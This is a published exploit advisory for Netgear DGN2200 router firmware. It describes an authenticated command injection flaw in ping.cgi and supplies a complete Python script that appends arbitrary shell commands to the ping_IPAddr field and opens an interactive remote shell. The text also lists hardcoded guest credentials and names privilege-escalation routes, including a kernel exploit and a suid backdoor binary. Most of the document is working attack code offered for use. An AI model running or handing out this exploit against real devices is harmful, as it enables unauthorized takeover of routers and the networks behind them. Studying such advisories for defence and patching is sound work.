Netgear DGN2200 Authenticated Remote Command Execution

`# Exploit Title: NETGEAR Firmware DGN2200v1/v2/v3/v4 NON-ADMIN AUTHENTICATED RCE  
# Date: 2017-02-18  
# Exploit Author: SivertPL  
# Vendor Homepage: http://netgear.com/  
# Software Link: http://www.downloads.netgear.com/files/GDC/DGN2200/DGN2200%20Firmware%20Version%201.0.0.20%20-%20Initial%20Release%20(NA).zip  
# Version: 10.0.0.20 (initial) - 10.0.0.50 (latest, still 0-day!)  
# Tested on: DGN2200v1,v2,v3,v4  
  
There's a pretty nice command injection vulnerability present in all DGN2200 firmwares.  
The vulnerability allows you to view the output of the command which is very convenient.  
It doesn't require admin access although user/guest access is necessary to exploit it (some models have hardcoded guest credentials: Guest/Guest or Gearguy/Geardog).  
The exploit allows to execute OS commands on the router with "nobody" permissions although there are a few ways in which you can escalate to r00t  
  
!! These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to !!  
There is NO other way to access the OS shell of the router other than by using a vuln.  
  
EXPLOIT CODE BELOW  
----------------------------------------------------  
#!/usr/bin/python  
#Provides access to default user account, privileges can be easily elevated by using either:  
# - a kernel exploit (ex. memodipper was tested and it worked)  
# - by executing /bin/bd (suid backdoor present on SOME but not all versions)  
# - by manipulating the httpd config files to trick the root user into executing your code (separate advisory will be released soon along with the 2nd vuln)  
  
#Pozdrawiam: Kornela, Komara i Sknerusa  
  
import sys  
import requests  
  
#You can change these credentials to ex. Gearguy/Geardog or Guest/Guest which are hardcoded on SOME firmware versions  
#These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to  
  
login = 'admin'  
password = 'password'  
  
  
def main():  
if len(sys.argv) < 2 or len(sys.argv) == 3:  
print "./netgearpwn.py <router ip>"  
return  
spawnShell()  
  
def execute(cmd):  
r = requests.post("http://" + sys.argv[1] + "/ping.cgi", data={'IPAddr1': 12, 'IPAddr2': 12, 'IPAddr3': 12, 'IPAddr4': 12, 'ping':"Ping", 'ping_IPAddr':"12.12.12.12; " + cmd}, auth=(login, password), headers={'referer': "http://192.168.0.1/DIAG_diag.htm"})  
result = parseOutput(r.text)  
return result  
  
def spawnShell():  
r = execute("echo pwn3d")  
  
if any("pwn3d" in s for s in r) == False:  
print "Something went wrong, is the system vulnerable? Are the credentials correct?"  
return  
  
while True:  
cmd = raw_input("$ ")  
r = execute(cmd)  
for l in r:  
print l.encode("utf-8")  
  
def parseOutput(output):  
yet = False  
a = False  
result = []  
for line in output.splitlines():  
if line.startswith("<textarea"):  
yet = True  
continue  
if yet == True:  
if line.startswith("</textarea>"):  
break  
result.append(line)  
return result  
  
if __name__ == "__main__":  
main()  
  
  
`